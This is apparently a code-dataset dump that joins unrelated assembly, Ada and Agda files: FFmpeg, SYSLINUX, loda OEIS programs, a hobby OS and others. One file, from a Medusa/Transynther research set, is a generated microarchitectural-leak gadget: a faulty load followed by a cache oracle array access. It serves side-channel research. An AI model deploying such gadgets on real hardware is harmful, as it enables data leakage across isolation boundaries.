$E8, $2E, $A0, $BB, $30, $37, $5E, $E2, $E7, $10, $23, $33, $09, $ED, $A2, $00, $70, $CC, $23, $F8, $82, $E0, $F6 ;db $8D, $ED, $E9, $BE, $7A, $72, $CB, $F7, $8E, $B8, $8A, $6B, $32, $AE, $11, $52, $E5, $0C, $67, $95, $9A, $A5, $0D, $61, $26, $8D, $90, $03, $C9, $2E, $08, $6E, $DD, $66, $F8, $87, $38, $A5, $A9, $4D, $CC, $5C, $15, $20, $51, $78, $53, $B4, $D4, $C9, $85, $32, $AD, $1A, $2F, $55, $F0, $05, $BD, $3D, $E3, $04, $D9, $CD, $F2, $96, $87, $29, $11, $EB, $65, $43, $93, $A9, $FB, $B1, $3E, $D3, $48, $1F, $8D, $1B, $54, $6A, $F9, $36, $C9, $BD, $F8, $E2, $E8, $34, $34, $8D, $9E, $51, $1B, $B7, $98, $4F, $A8, $27, $EE, $F7, $6E, $5D, $9B, $C3, $18, $77, $09, $1E, $33, $7E, $C3, $0E, $CF, $6E, $E4, $E2, $EA, $9F, $41, $E9, $37, $A8, $DE, $4F, $2C, $79, $8F, $E8, $EB, $68, $01, $64, $AB, $5B, $26, $CB, $56, $5C, $CB, $3E, $AF, $67, $36, $58, $62, $47, $3E, $85, $D7, $11, $9B, $D7, $5A, $D9, $34, $7B, $28, $99, $98, $9D, $8E, $9D, $1F, $AC, $4D, $01, $8D, $C0, $FB, $A5, $5E, $0B, $9A, $3E, $3E, $CE, $6D, $19, $1C, $60, $37, $4A, $A2, $47, $FF, $A6, $A6, $07, $98, $62, $34, $40, $1B, $2C, $C6, $B2, $58, $54, $3B, $12, $B3, $75, $54, $56, $66, $16, $65, $D4, $B5, $82, $9B, $BA, $9A, $76, $42, $34, $61, $9F, $93, $EE, $AA, $1B, $4A, $B4, $AD, $FE, $13, $3C, $5A, $25, $82, $8E, $82, $18, $81, $BE, $D6, $61, $92, $BB, $98, $68, $AA, $AE, $81, $19, $23, $89, $FC, $7D, $65, $F6, $8A, $A5, $CB, $47, $07, $AB, $11, $A7, $35, $60, $73, $4A, $9B, $06, $C7, $3D, $58, $F6, $BA, $B3, $C1, $AD, $31, $1B, $04, $32, $D2, $CC, $31, $21, $71, $31, $2B, $D0, $A9, $FD, $B7, $F7, $10, $69, $6B, $2B, $26, $23, $CC, $46, $44, $8B, $3E, $DF, $17, $4C, $6B, $68, $72, $AF, $0E, $AD, $85, $D6, $7A, $67, $62, $AD, $72, $5E, $D2, $52, $10, $78, $AE, $57, $4C, $14, $44, $53, $8C, $7F, $C4, $D8, $F7, $03, $17, $37, $D6, $BA, $38, $19, $09, $A7, $47, $A3, $5F, $59, $12, $AB, $17, $92, $69, $44, $6A, $14, $79, $51, $68, $27, $36, $3F, $B3, $72, $14, $BA, $C4, $E9, $23, $FD, $FB, $17, $45, $F6, $26, $C9, $83, $2B, $F3, $44, $63, $20, $F3, $A6, $7D, $A4, $C9, $87, $C5, $A2, $CC, $E0, $89, $9F, $B9, $99, $7A, $81, $CB, $9E, $43, $E9, $6E, $36, $42, $43, $7B, $D0, $77, $3D, $10, $16, $5A, $5F, $95, $B1, $10, $58, $D7, $1C, $6E, $90, $85, $F8, $D6, $05, $27, $6C, $2B, $B6, $6E, $68, $4D, $E7, $08, $4B, $0F, $AC, $33, $15, $84, $29, $E4, $79, $97, $B4, $72, $4F, $D7, $F7, $B4, $81, $92, $CB, $2D, $F6, $6C, $C7, $48, $C4, $E6, $F4, $34, $32, $83, $83, $6B, $72, $74, $86, $C4, $15, $00, $71, $20, $52, $BA, $63, $2D, $6C, $E9, $61, $11, $A2, $B9, $92, $5C, $D0, $40, $1F, $04, $44, $D3, $39, $5C, $0E, $0D, $86, $D8, $9B, $07, $3B, $D2, $F6, $A2, $87, $84, $D3, $CC, $54 ;db $D5, $ED, $72, $7E, $77, $EF, $CD, $AF, $21, $72, $1E, $B0, $AC, $92, $C1, $1A, $E7, $A5, $95, $A6, $EC, $67, $0D, $11, $22, $3B, $22, $8D, $77, $DD, $4D, $97, $D8, $3B, $AC, $D5, $95, $82, $7F, $DC, $DB, $F4, $14, $08, $F6, $28, $E3, $82, $DE, $7C, $E5, $EE, $07, $51, $07, $89, $42, $95, $79, $25, $54, $43, $B7, $D8, $E0, $92, $94, $4B, $C1, $5C, $A8, $EC, $92, $05, $89, $82, $96, $B2, $6D, $66, $D9, $C5, $86, $45, $5D, $BF, $E0, $C0, $98, $22, $18, $8D, $EC, $65, $EF, $1C, $AD, $CE, $5D, $89, $06, $B0, $38, $F0, $39, $AE, $B6, $07, $49, $5A, $CC, $6A, $EF, $F5, $EC, $C7, $C1, $19, $5B, $88, $D6, $B7, $70, $87, $29, $D9, $72, $00, $46, $21, $0A, $16, $BB, $27, $91, $B2, $7C, $DD, $A7, $6B, $38, $8D, $D6, $C8, $F3, $71, $33, $CA, $A5, $EA, $87, $25, $21, $B7, $D1, $25, $61, $19, $7D, $04, $BD, $2A, $AA, $EC, $C1, $3A, $93, $1C, $69, $6A, $29, $08, $E8, $D8, $C9, $64, $14, $85, $9B, $C4, $11, $FA, $3D, $6C, $57, $5C, $7A, $FE, $49, $13, $FE, $49, $9D, $99, $F9, $2E, $C4, $96, $6E, $C7, $9E, $C4, $DF, $52, $E9, $F7, $3E, $6B, $16, $15, $D3, $5D, $38, $8D, $25, $4A, $F4, $7C, $05, $48, $04, $85, $13, $EA, $D5, $F2, $F5, $2B, $28, $E3, $25, $E0, $D2, $6D, $D2, $28, $A3, $FF, $F1, $19, $89, $2F, $5B, $88, $3E, $67, $FF, $2E, $CC, $CB, $FE, $3B, $71, $9E, $FE, $7C, $55, $CB, $45, $6A, $9F, $9E, $08, $44, $BE, $C1, $51, $D4, $05, $94, $D0, $F8, $90, $7C, $6E, $04, $A8, $68, $53, $A6, $CF, $C4, $F4, $04, $F7, $31, $7A, $AE, $A4, $48, $77, $86, $3E, $C8, $C1, $DC, $1E, $27, $6F, $A7, $C0, $CE, $77, $2A, $59, $13, $50, $42, $E1, $3E, $7F, $56, $D0, $7A, $B6, $38, $13, $05, $72, $63, $2D, $CD, $ED, $EC, $3D, $29, $83, $74, $3F, $14, $52, $94, $5F, $68, $DF, $52, $70, $DB, $6F, $86, $E7, $AB, $9C, $9E, $9E, $EC, $6A, $0A, $EE, $F2, $56, $6F, $A8, $DD, $5F, $DE, $B0, $BF, $79, $B2, $A6, $7E, $54, $CF, $37, $48, $F3, $64, $43, $66, $11, $16, $BF, $A9, $CF, $EF, $EB, $3A, $8E, $E6, $81, $BA, $97, $A6, $69, $50, $E5, $3D, $F3, $85, $A8, $11, $1C, $12, $6D, $87, $6D, $44, $ED, $11, $FE, $F6, $B7, $73, $08, $28, $42, $87, $64, $8E, $0E, $A2, $F2, $DE, $C0, $F8, $04, $B2, $95, $C9, $99, $5A, $5F, $BC, $F0, $58, $61, $6E, $3D, $4C, $26, $1E, $93, $6F, $08, $87, $8A, $7F, $4D, $CB, $B3, $7E, $CB, $EF, $A7, $61, $25, $4E, $58, $B0, $DE, $A7, $9A, $C6, $39, $9A, $9C, $07, $9E, $16, $AF, $F0, $1B, $93, $37, $C6, $B9, $F1, $23, $EE, $8F, $11, $5A, $99, $C5, $F5, $D1, $DE, $82, $48, $53, $B8, $F0, $7F, $38, $A2, $33, $8B, $BC, $EB, $21, $0B, $59, $4E, $0E, $B6, $09, $7D, $8D, $85, $2F, $3E, $B8, $DD, $48, $06, $1B, $17, $A5, $C0, $C9, $2C
programs/oeis/178/A178144.asm
neoneye/loda
22
168248
; A178144: Sum of divisors d of n which are d=2, 3 or 5. ; 0,2,3,2,5,5,0,2,3,7,0,5,0,2,8,2,0,5,0,7,3,2,0,5,5,2,3,2,0,10,0,2,3,2,5,5,0,2,3,7,0,5,0,2,8,2,0,5,0,7,3,2,0,5,5,2,3,2,0,10,0,2,3,2,5,5,0,2,3,7,0,5,0,2,8,2,0,5,0,7,3,2,0,5,5,2,3,2,0,10,0,2,3,2,5,5,0,2,3,7 add $0,1 mov $2,$0 mov $0,5 lpb $0 max $0,2 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,2 add $1,$3 lpe mov $0,$1
src/third_party/ffmpeg/libavcodec/x86/proresdsp.asm
neeker/chromium_extract
27
179027
<reponame>neeker/chromium_extract ;****************************************************************************** ;* x86-SIMD-optimized IDCT for prores ;* this is identical to "simple" IDCT written by <NAME> ;* except for the clip range ;* ;* Copyright (c) 2011 <NAME> <<EMAIL>> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* 51, Inc., Foundation Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" %if ARCH_X86_64 SECTION_RODATA pw_88: times 8 dw 0x2008 cextern pw_1 cextern pw_4 cextern pw_1019 ; Below are defined in simple_idct10.asm built from selecting idctdsp cextern w4_plus_w2 cextern w4_min_w2 cextern w4_plus_w6 cextern w4_min_w6 cextern w1_plus_w3 cextern w3_min_w1 cextern w7_plus_w3 cextern w3_min_w7 cextern w1_plus_w5 cextern w5_min_w1 cextern w5_plus_w7 cextern w7_min_w5 %include "libavcodec/x86/simple_idct10_template.asm" section .text align=16 %macro idct_fn 0 cglobal prores_idct_put_10, 4, 4, 15 IDCT_FN pw_1, 15, pw_88, 18, pw_4, pw_1019, r3 RET %endmacro INIT_XMM sse2 idct_fn %if HAVE_AVX_EXTERNAL INIT_XMM avx idct_fn %endif %endif
src/boot/gdt.asm
dmfedorin/glucOS
0
101241
<filename>src/boot/gdt.asm<gh_stars>0 %ifndef GDT_ASM_INCLUDED %define GDT_ASM_INCLUDED [bits 16] section .text gdt_start: gdt_null_entry: dq 0 ;gdt_dummy_entry: ; dw [segment length, bits 0 - 15] ; dw [segment base, bits 0 - 15] ; db [segment base, bits 16 - 23] ; db [flags] ; db [flags (first 4 bits) - segment length, bits 16 - 19 (last 4 bits)] ; db [segment base, bits 24 - 31] gdt_code_entry: dw 0xffff dw 0 db 0 db 0b10011010 db 0b11001111 db 0 gdt_data_entry: dw 0xffff dw 0 db 0 db 0b10010010 db 0b11001111 db 0 gdt_end: gdt_desc: dw gdt_end - gdt_start - 1 dd gdt_start GDT_CODE_SEG equ gdt_code_entry - gdt_start GDT_DATA_SEG equ gdt_data_entry - gdt_start %endif
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_29_1156.asm
ljhsiun2/medusa
9
22878
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x1e242, %r11 nop nop nop nop xor %r15, %r15 mov (%r11), %rdi nop nop nop dec %rbp lea addresses_A_ht+0xdfc2, %r13 nop nop nop nop sub $38848, %r11 movb (%r13), %r12b nop nop nop nop and $20526, %r13 lea addresses_UC_ht+0x11c2, %rdi clflush (%rdi) nop nop and $9285, %r8 mov (%rdi), %r12 nop nop nop nop inc %rdi lea addresses_UC_ht+0x4a42, %rsi lea addresses_normal_ht+0xbfc2, %rdi clflush (%rsi) nop nop xor $54173, %r12 mov $8, %rcx rep movsb nop and $40385, %r13 lea addresses_WC_ht+0xdfc2, %rsi lea addresses_UC_ht+0xd0a2, %rdi nop nop nop nop cmp %r13, %r13 mov $6, %rcx rep movsw nop nop inc %rcx lea addresses_D_ht+0xe302, %rbp nop nop nop nop xor %rdi, %rdi movb (%rbp), %r11b nop nop nop nop add %rbp, %rbp lea addresses_D_ht+0x1fc2, %r15 nop nop nop inc %rdi movw $0x6162, (%r15) sub $55835, %r8 lea addresses_normal_ht+0x7142, %rdi nop nop nop nop inc %r13 movb (%rdi), %r15b cmp $29443, %rsi lea addresses_UC_ht+0x140fe, %rsi and %rbp, %rbp movb (%rsi), %cl nop add $20882, %r8 lea addresses_WC_ht+0x731b, %rsi lea addresses_D_ht+0xfc4a, %rdi nop nop nop xor %rbp, %rbp mov $42, %rcx rep movsw nop sub $44103, %rdi lea addresses_WT_ht+0x1c02, %rsi add %rbp, %rbp mov (%rsi), %r13w nop nop nop nop and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %rax push %rbx push %rdx push %rsi // Store lea addresses_UC+0x1ff42, %rbx nop nop nop nop add $20174, %r11 mov $0x5152535455565758, %rax movq %rax, %xmm6 movups %xmm6, (%rbx) nop nop nop cmp %r15, %r15 // Faulty Load lea addresses_US+0x197c2, %r10 clflush (%r10) nop nop nop nop nop add %rdx, %rdx vmovups (%r10), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rax lea oracles, %r15 and $0xff, %rax shlq $12, %rax mov (%r15,%rax,1), %rax pop %rsi pop %rdx pop %rbx pop %rax pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'00': 29} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
libsrc/spectrum/zx_basic_length.asm
dex4er/deb-z88dk
1
86206
<reponame>dex4er/deb-z88dk ; ; ZX Spectrum specific routines ; by <NAME>, 22/06/2006 ; ; This routine gives the length of the current BASIC program. ; Memory used by variables is not included. ; ; $Id: zx_basic_length.asm,v 1.1 2006/06/28 22:21:26 stefano Exp $ ; XLIB zx_basic_length zx_basic_length: ld de,($5c53) ; PROG :location of BASIC program ld hl,($5c4b) ; VARS :location of variables sbc hl,de ret
Library/Text/TextTrans/texttransManager.asm
steakknife/pcgeos
504
102584
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: Library/Text/TextTransfer FILE: texttransferManager.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/17/91 Initial version DESCRIPTION: $Id: texttransManager.asm,v 1.1 97/04/07 11:20:01 newdeal Exp $ ------------------------------------------------------------------------------@ ;----------------------------------------------------------------------------- ; Include common definitions ;----------------------------------------------------------------------------- include textGeode.def include texttext.def include textattr.def include texttrans.def include textstorage.def include textline.def include textregion.def include textselect.def include textundo.def include thread.def ;----------------------------------------------------------------------------- ; Include definitions for this module ;----------------------------------------------------------------------------- include ttConstant.def ;----------------------------------------------------------------------------- ; Include strings ;----------------------------------------------------------------------------- include ttStrings.asm ;----------------------------------------------------------------------------- ; Include code ;----------------------------------------------------------------------------- include ttHigh.asm include ttCreate.asm include ttReplace.asm include ttQuick.asm include ttC.asm
oeis/084/A084253.asm
neoneye/loda-programs
11
9397
; A084253: a(n) is the denominator of the coefficient of z^(2n-1) in the Maclaurin expansion of Sqrt[Pi]Erfi[z]. ; 1,3,5,21,108,660,4680,37800,342720,3447360,38102400,459043200,5987520000,84064780800,1264085222400,20268952704000,345226033152000,6224529991680000,118443913555968000,2372079457972224000,49874491167621120000,1098455256691752960000,25290016374996172800000,607522393363796951040000,15200985842464366264320000,395535856104940142592000000,10687223719855049342976000000,299443909886504684421120000000,8689317821433845024292864000000,260831978815321207659036672000000,8090212224271827288407408640000000 lpb $0 mov $2,$0 lpb $0 add $1,1 add $3,1 lpb $0 lpb $3 sub $0,$3 div $3,9 lpe sub $3,$1 add $1,$0 lpe lpe lpe mul $1,2 add $1,1 add $3,$0 mov $0,$1 lpb $3 mul $0,$2 sub $2,1 sub $3,1 lpe
Cubical/Structures/Relational/Constant.agda
RobertHarper/cubical
0
10416
{- Constant structure: _ ↦ A -} {-# OPTIONS --cubical --no-import-sorts --safe #-} module Cubical.Structures.Relational.Constant where open import Cubical.Foundations.Prelude open import Cubical.Foundations.Equiv open import Cubical.Foundations.HLevels open import Cubical.Foundations.Structure open import Cubical.Foundations.RelationalStructure open import Cubical.Structures.Constant private variable ℓ ℓ' : Level -- Structured relations module _ (A : hSet ℓ') where preservesSetsConstant : preservesSets {ℓ = ℓ} (ConstantStructure (A .fst)) preservesSetsConstant _ = A .snd ConstantRelStr : StrRel {ℓ = ℓ} (ConstantStructure (A .fst)) ℓ' ConstantRelStr _ a₀ a₁ = a₀ ≡ a₁ open SuitableStrRel constantSuitableRel : SuitableStrRel {ℓ = ℓ} (ConstantStructure (A .fst)) ConstantRelStr constantSuitableRel .quo _ _ _ = isContrSingl _ constantSuitableRel .symmetric _ = sym constantSuitableRel .transitive _ _ = _∙_ constantSuitableRel .prop _ = A .snd constantRelMatchesEquiv : StrRelMatchesEquiv {ℓ = ℓ} ConstantRelStr (ConstantEquivStr (A .fst)) constantRelMatchesEquiv _ _ _ = idEquiv _
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c87b07a.ada
best08618/asylo
7
1971
<filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c87b07a.ada -- C87B07A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- CHECK THAT OVERLOADING RESOLUTION USES THE RULE THAT: -- -- FOR THE ATTRIBUTE OF THE FORM T'POS (X), THE OPERAND X MUST -- BE A VALUE OF TYPE T. THE RESULT IS OF TYPE UNIVERSAL_INTEGER. -- TRH 13 SEPT 82 WITH REPORT; USE REPORT; PROCEDURE C87B07A IS TYPE NATURAL IS NEW INTEGER RANGE 1 .. INTEGER'LAST; TYPE WHOLE IS NEW INTEGER RANGE 0 .. INTEGER'LAST; TYPE COLOR IS (BROWN, RED, WHITE); TYPE SCHOOL IS (HARVARD, BROWN, YALE); TYPE SUGAR IS (DEXTROSE, CANE, BROWN); FUNCTION "+" (X, Y : NATURAL) RETURN NATURAL RENAMES "*"; FUNCTION "+" (X, Y : WHOLE) RETURN WHOLE RENAMES "-"; BEGIN TEST ("C87B07A","OVERLOADED OPERANDS TO THE 'POS' ATTRIBUTE"); IF NATURAL'POS (1 + 1) /= 1 OR COLOR'POS (BROWN) /= 0 OR WHOLE'POS (1 + 1) /= 0 OR SCHOOL'POS (BROWN) /= 1 OR INTEGER'POS (1 + 1) /= 2 OR SUGAR'POS (BROWN) /= 2 THEN FAILED ("RESOLUTION INCORRECT FOR OPERAND TO 'POS' ATTRIBUTE"); END IF; IF NATURAL'POS (3 + 3) + 1 /= 10 OR -- SECOND "+" IS UNIVERSAL. WHOLE'POS (3 + 3) + 1 /= 1 OR -- SECOND "+" IS UNIVERSAL. INTEGER'POS (3 + 3) + 1 /= 7 THEN -- SECOND "+" IS UNIVERSAL. FAILED ("RESOLUTION INCORRECT - 'POS' ATTRIBUTE RETURNS " & "A UNIVERSAL_INTEGER VALUE"); END IF; RESULT; END C87B07A;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/aggr13.adb
best08618/asylo
7
21230
-- { dg-do compile } -- { dg-options "-fdump-tree-gimple" } procedure Aggr13 is type A is array (Integer range 1 .. 3) of Short_Short_Integer; X : A := (1, 2, 3); function F return A is begin if X /= (1, 2, 3) then raise Program_Error; end if; return (1, 1, 1); end; begin X := F; end; -- { dg-final { scan-tree-dump-not "= {}" "gimple" } }
CDROOT/COBALT/SOURCE/SYSLINUX/ldlinux.asm
Michael2626/Cobalt
35
241501
<reponame>Michael2626/Cobalt<filename>CDROOT/COBALT/SOURCE/SYSLINUX/ldlinux.asm ; -*- fundamental -*- (asm-mode sucks) ; $Id: ldlinux.asm,v 1.147 2004/06/13 20:50:44 hpa Exp $ ; **************************************************************************** ; ; ldlinux.asm ; ; A program to boot Linux kernels off an MS-DOS formatted floppy disk. This ; functionality is good to have for installation floppies, where it may ; be hard to find a functional Linux system to run LILO off. ; ; This program allows manipulation of the disk to take place entirely ; from MS-LOSS, and can be especially useful in conjunction with the ; umsdos filesystem. ; ; This file is loaded in stages; first the boot sector at offset 7C00h, ; then the first sector (cluster, really, but we can only assume 1 sector) ; of LDLINUX.SYS at 7E00h and finally the remainder of LDLINUX.SYS at 8000h. ; ; Copyright (C) 1994-2004 <NAME> ; ; This program is free software; you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation, Inc., 675 Mass Ave, Cambridge MA 02139, ; USA; either version 2 of the License, or (at your option) any later ; version; incorporated herein by reference. ; ; **************************************************************************** %ifndef IS_MDSLINUX %define IS_SYSLINUX 1 %endif %include "macros.inc" %include "config.inc" %include "kernel.inc" %include "bios.inc" %include "tracers.inc" ; ; Some semi-configurable constants... change on your own risk. ; my_id equ syslinux_id FILENAME_MAX_LG2 equ 4 ; log2(Max filename size Including final null) FILENAME_MAX equ 11 ; Max mangled filename size NULLFILE equ ' ' ; First char space == null filename retry_count equ 6 ; How patient are we with the disk? %assign HIGHMEM_SLOP 0 ; Avoid this much memory near the top ; ; This is what we need to do when idle ; %macro RESET_IDLE 0 ; Nothing %endmacro %macro DO_IDLE 0 ; Nothing %endmacro ; ; The following structure is used for "virtual kernels"; i.e. LILO-style ; option labels. The options we permit here are `kernel' and `append ; Since there is no room in the bottom 64K for all of these, we ; stick them at vk_seg:0000 and copy them down before we need them. ; ; Note: this structure can be added to, but it must ; %define vk_power 7 ; log2(max number of vkernels) %define max_vk (1 << vk_power) ; Maximum number of vkernels %define vk_shift (16-vk_power) ; Number of bits to shift %define vk_size (1 << vk_shift) ; Size of a vkernel buffer struc vkernel vk_vname: resb FILENAME_MAX ; Virtual name **MUST BE FIRST!** vk_rname: resb FILENAME_MAX ; Real name vk_appendlen: resw 1 alignb 4 vk_append: resb max_cmd_len+1 ; Command line alignb 4 vk_end: equ $ ; Should be <= vk_size endstruc %ifndef DEPEND %if (vk_end > vk_size) || (vk_size*max_vk > 65536) %error "Too many vkernels defined, reduce vk_power" %endif %endif ; ; Segment assignments in the bottom 640K ; Stick to the low 512K in case we're using something like M-systems flash ; which load a driver into low RAM (evil!!) ; ; 0000h - main code/data segment (and BIOS segment) ; real_mode_seg equ 5000h fat_seg equ 3000h ; 128K area for FAT (2x64K) vk_seg equ 2000h ; Virtual kernels xfer_buf_seg equ 1000h ; Bounce buffer for I/O to high mem comboot_seg equ real_mode_seg ; COMBOOT image loading zone ; --------------------------------------------------------------------------- ; BEGIN CODE ; --------------------------------------------------------------------------- ; ; Memory below this point is reserved for the BIOS and the MBR ; absolute 1000h trackbuf equ $ ; Track buffer goes here trackbufsize equ 16384 ; Safe size of track buffer ; trackbuf ends at 5000h ; ; Constants for the xfer_buf_seg ; ; The xfer_buf_seg is also used to store message file buffers. We ; need two trackbuffers (text and graphics), plus a work buffer ; for the graphics decompressor. ; xbs_textbuf equ 0 ; Also hard-coded, do not change xbs_vgabuf equ trackbufsize xbs_vgatmpbuf equ 2*trackbufsize absolute 5000h ; Here we keep our BSS stuff VKernelBuf: resb vk_size ; "Current" vkernel alignb 4 AppendBuf resb max_cmd_len+1 ; append= Ontimeout resb max_cmd_len+1 ; ontimeout Onerror resb max_cmd_len+1 ; onerror KbdMap resb 256 ; Keyboard map FKeyName resb 10*16 ; File names for F-key help NumBuf resb 15 ; Buffer to load number NumBufEnd resb 1 ; Last byte in NumBuf alignb 8 ; Expanded superblock SuperInfo equ $ resq 16 ; The first 16 bytes expanded 8 times ; ; These need to follow SuperInfo ; RootDir resd 1 ; Location of root directory DataArea resd 1 ; Location of data area RootDirSize resw 1 ; Root dir size in sectors DirScanCtr resw 1 ; Used while searching directory EndofDirSec resw 1 ; = trackbuf+bsBytesPerSec-31 alignb 4 E820Buf resd 5 ; INT 15:E820 data buffer E820Mem resd 1 ; Memory detected by E820 E820Max resd 1 ; Is E820 memory capped? HiLoadAddr resd 1 ; Address pointer for high load loop HighMemSize resd 1 ; End of memory pointer (bytes) RamdiskMax resd 1 ; Highest address for a ramdisk KernelSize resd 1 ; Size of kernel (bytes) SavedSSSP resd 1 ; Our SS:SP while running a COMBOOT image PMESP resd 1 ; Protected-mode ESP ClustPerMoby resd 1 ; Clusters per 64K ClustSize resd 1 ; Bytes/cluster KernelName resb 12 ; Mangled name for kernel ; (note the spare byte after!) OrigKernelExt resd 1 ; Original kernel extension FBytes equ $ ; Used by open/getc FBytes1 resw 1 FBytes2 resw 1 DirBlocksLeft resw 1 ; Ditto RunLinClust resw 1 ; Cluster # for LDLINUX.SYS BufSafe resw 1 ; Clusters we can load into trackbuf BufSafeSec resw 1 ; = how many sectors? BufSafeBytes resw 1 ; = how many bytes? EndOfGetCBuf resw 1 ; = getcbuf+BufSafeBytes KernelClust resw 1 ; Kernel size in clusters FClust resw 1 ; Number of clusters in open/getc file FNextClust resw 1 ; Pointer to next cluster in d:o FPtr resw 1 ; Pointer to next char in buffer CmdOptPtr resw 1 ; Pointer to first option on cmd line KernelCNameLen resw 1 ; Length of unmangled kernel name InitRDCNameLen resw 1 ; Length of unmangled initrd name NextCharJump resw 1 ; Routine to interpret next print char SetupSecs resw 1 ; Number of setup sectors A20Test resw 1 ; Counter for testing status of A20 A20Type resw 1 ; A20 type CmdLineLen resw 1 ; Length of command line including null GraphXSize resw 1 ; Width of splash screen file VGAPos resw 1 ; Pointer into VGA memory VGACluster resw 1 ; Cluster pointer for VGA image file VGAFilePtr resw 1 ; Pointer into VGAFileBuf Com32SysSP resw 1 ; SP saved during COM32 syscall CursorDX equ $ CursorCol resb 1 ; Cursor column for message file CursorRow resb 1 ; Cursor row for message file ScreenSize equ $ VidCols resb 1 ; Columns on screen-1 VidRows resb 1 ; Rows on screen-1 BaudDivisor resw 1 ; Baud rate divisor FlowControl equ $ FlowOutput resb 1 ; Outputs to assert for serial flow FlowInput resb 1 ; Input bits for serial flow FlowIgnore resb 1 ; Ignore input unless these bits set TextAttribute resb 1 ; Text attribute for message file RetryCount resb 1 ; Used for disk access retries KbdFlags resb 1 ; Check for keyboard escapes LoadFlags resb 1 ; Loadflags from kernel A20Tries resb 1 ; Times until giving up on A20 FuncFlag resb 1 ; Escape sequences received from keyboard DisplayMask resb 1 ; Display modes mask CopySuper resb 1 ; Distinguish .bs versus .bss MNameBuf resb 11 ; Generic mangled file name buffer InitRD resb 11 ; initrd= mangled name KernelCName resb 13 ; Unmangled kernel name InitRDCName resb 13 ; Unmangled initrd name TextColorReg resb 17 ; VGA color registers for text mode VGAFileBuf resb 13 ; Unmangled VGA image name VGAFileBufEnd equ $ VGAFileMBuf resb 11 ; Mangled 